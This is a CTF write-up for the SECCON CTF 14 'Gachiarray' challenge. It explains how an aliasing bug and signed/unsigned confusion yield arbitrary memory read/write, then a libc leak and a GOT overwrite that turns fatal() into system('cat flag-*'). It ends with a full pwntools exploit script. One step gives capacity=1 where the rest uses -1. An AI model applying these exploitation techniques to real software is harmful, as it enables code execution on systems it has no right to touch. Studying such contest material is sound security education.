Logo
Overview
[SECCON CTF 14] Gachiarray writeup

[SECCON CTF 14] Gachiarray writeup

December 14, 2025
4 min read

✨ 바이너리 공짜 다운로드 ✨

TL;DR

By exploiting strict aliasing UB on malloc() failure and signed/unsigned confusion, the attacker creates a data = NULL array with attacker-controlled size, enabling OOB absolute memory access to leak libc, overwrite GOT entires, and finally execute syscall.

Analysis

Mitigations NX: on PIE: off RELRO: Partial Canary: none Fortify: enabled

Protocol The program always reads exactly 12 bytes per packet

typedef union {
struct { int32_t capacity, size, initial; };
struct { int32_t op, index, value; };
} pkt_t;

So every message is 3 little-endian int32_t First packet: init (capacity, size, initial) Later packets: operations (op, index, value)

Ops:

  • op=1 get: print array[index]
  • op=2 set: array[index]=value
  • op=3 resize: g_array.size=pkt.size plus a fill loop
  • otherwise: exit

Vulnerability: Strict-aliasing UB on the malloc() failure path

g_array.data = (int*)malloc(pkt->capacity * sizeof(int));
if (!g_array.data)
*(uint64_t*)pkt = 0;
g_array.size = pkt->size;
g_array.capacity = pkt->capacity;

This uint64_t* store into a pkt_t object violates strict-aliasing (Undefined Bahavior). In the optimized binary, capacity is cached in a register and reused, while size is reloaded from memory after the store.

So after forcing malloc to fail, the program ends up with

  • g_array.data = NULL
  • g_array.size = 0
  • g_array.capacity = attacker-controlled

Why does size become 0 in init

if (pkt->size > pkt->capacity)
pkt->size = pkt->capacity;

With capacity = -1 and size = 0, the signed check 0 > -1 is true and sets pkt->size=-1

Then the UB store (uint64_t)pkt = 0 zeros both fields in memory.

After that size is read back from memory (0), while capacity is reused from the cached register (0xffffffff)

Shaping the state

  • Forcing malloc to fail

Send init: capacity=1, size=0, initial=0

This makes malloc(capacity*4) attempt an absurdly large allocation, returning NULL. Due to UB, capacity remains 0xffffffff while size becomes 0.

  • Growing g_array.size without dereferencing NULL: resize(-1)
for (int i = g_array.size; i < pkt.size; i++)
g_array.data[i] = g_array.initial;

But with pkt.size=-1, the loop condition is compiled as signed, so 0 < -1 is false and the loop runs 0 times.

The over capacity check is unsigned and passes because both are 0xffffffff

if (g_array.capacity < pkt.size) fatal("Over capacity");
g_array.size = 0xffffffff
Primitive: NULL-based absolute-address 32bit read/write
g_array.data == NULL
g_array.data[index] == *(int*)(index*4)

Choose index = addr/4 (4 byte aligned) to read/write (uint32_t)addr

For 64 bit pointers, read/write two consecutive 32 bit words

Values are printed with %d (signed), so recover uint32_t with & 0xffffffff. Because index is int32_t, the directly addressable range is 0 <= addr < 0x200000000 (~8GB)

We cannot directly read libc text at 0x7f…, so we instead read binary GOT entries that store libc pointers.

Libc leak via __print_chk@GOT

Init prints a line, so __printf_chk is already resolved and its GOT entry contains the libc address.

  • read 8 bytes at __printf_chk@GOT -> leak __printf_chk address
  • libc_base = leak - off(__printf_chk)
  • system = libc_base + off(system)

Fixed addresses in this binary (PIE off)

  • __printf_chk@GOT : 0x404018
  • __fprintf_chk@GOT : 0x404028
  • stderr (COPY reloc): 0x404060

glibc 2.39

  • off(__printf_chk) = 0x137990
  • off(system) = 0x58750

Code execution: turning fatal() into system

fatal() effectively calls __fprintf_chk(stderr, 2, fmt, msg) (Fortify)

overwrite __fprintf_chk@GOT = system fix the argument mismatch by overwriting the binary’s COPY-relocated stderr global to point to our command string

Concrete writes

  • write “cat flag-*\0” into .bss (e.g. 0x404200)
  • set (uint64_t)stderr = 0x404200
  • set (uint64_t)__fprintf_chk_got = system

now call behaves like

system((char*)stderr);

Trigger OOB in get/set (bounds check happens before dereference). With g_array.size=0xffffffff, using index=-1 (0xffffffff) trips the unsigned OOB check and immediately calls fatal()

Exploit

Packet sequence

  1. init: capacity=-1, size=0, initial=0
  2. resize: op=3, size=-1
  3. leak: read __printf_chk@GOT (two get calls for 64-bit)
  4. write: command string in .bss, overwrite stderr, overwrite __fprintf_chk@GOT
  5. trigger: op=1, index=-1 → fatal() → system(“cat flag-*”)
from pwn import *
HOST = "gachiarray.seccon.games"
PORT = 5000
def s32(x: int) -> int:
x &= 0xFFFFFFFF
if x >= 0x80000000:
x -= 0x100000000
return x
def pkt(a: int, b: int, c: int) -> bytes:
return p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF)
class GachiArray:
def __init__(self, io: tube):
self.io = io
def init(self, capacity: int, size: int, initial: int) -> bytes:
self.io.send(pkt(capacity, size, initial))
return self.io.recvline()
def get(self, index: int) -> int:
self.io.send(pkt(1, index, 0))
line = self.io.recvline()
value = int(line.strip().rsplit(b" = ", 1)[1])
return value
def set(self, index: int, value: int) -> None:
self.io.send(pkt(2, index, value))
self.io.recvline()
def resize(self, new_size: int) -> None:
self.io.send(pkt(3, new_size, 0))
self.io.recvline()
def idx_from_addr(addr: int) -> int:
if addr & 3:
raise ValueError(f"unaligned address: {addr:#x}")
idx = addr // 4
if idx > 0x7FFFFFFF:
raise ValueError(f"address too high for int32 index: {addr:#x}")
return idx
def mem_read32(arr: GachiArray, addr: int) -> int:
return arr.get(idx_from_addr(addr)) & 0xFFFFFFFF
def mem_read64(arr: GachiArray, addr: int) -> int:
lo = mem_read32(arr, addr)
hi = mem_read32(arr, addr + 4)
return lo | (hi << 32)
def mem_write32(arr: GachiArray, addr: int, value_u32: int) -> None:
arr.set(idx_from_addr(addr), s32(value_u32))
def mem_write64(arr: GachiArray, addr: int, value_u64: int) -> None:
mem_write32(arr, addr, value_u64 & 0xFFFFFFFF)
mem_write32(arr, addr + 4, (value_u64 >> 32) & 0xFFFFFFFF)
def mem_write_bytes(arr: GachiArray, addr: int, data: bytes) -> None:
if addr & 3:
raise ValueError(f"unaligned address: {addr:#x}")
if len(data) & 3:
data += b"\x00" * (4 - (len(data) & 3))
for off in range(0, len(data), 4):
mem_write32(arr, addr + off, u32(data[off : off + 4]))
def main() -> None:
context.binary = elf = ELF("./chall", checksec=False)
OFF_PRINTF_CHK = 0x137990
OFF_SYSTEM = 0x58750
io = remote(HOST, PORT)
arr = GachiArray(io)
arr.init(capacity=-1, size=0, initial=0)
arr.resize(-1)
printf_chk = mem_read64(arr, elf.got["__printf_chk"])
libc_base = printf_chk - OFF_PRINTF_CHK
system = libc_base + OFF_SYSTEM
log.info(f"{printf_chk:#x}")
log.info(f"{libc_base:#x}")
log.info(f"{system:#x}")
cmd_addr = 0x404200
mem_write_bytes(arr, cmd_addr, b"cat flag-*\x00")
mem_write64(arr, elf.symbols["stderr"], cmd_addr)
mem_write64(arr, elf.got["__fprintf_chk"], system)
io.send(pkt(1, -1, 0))
output = io.recvall(timeout=5)
sys.stdout.buffer.write(output)
if __name__ == "__main__":
main()

flag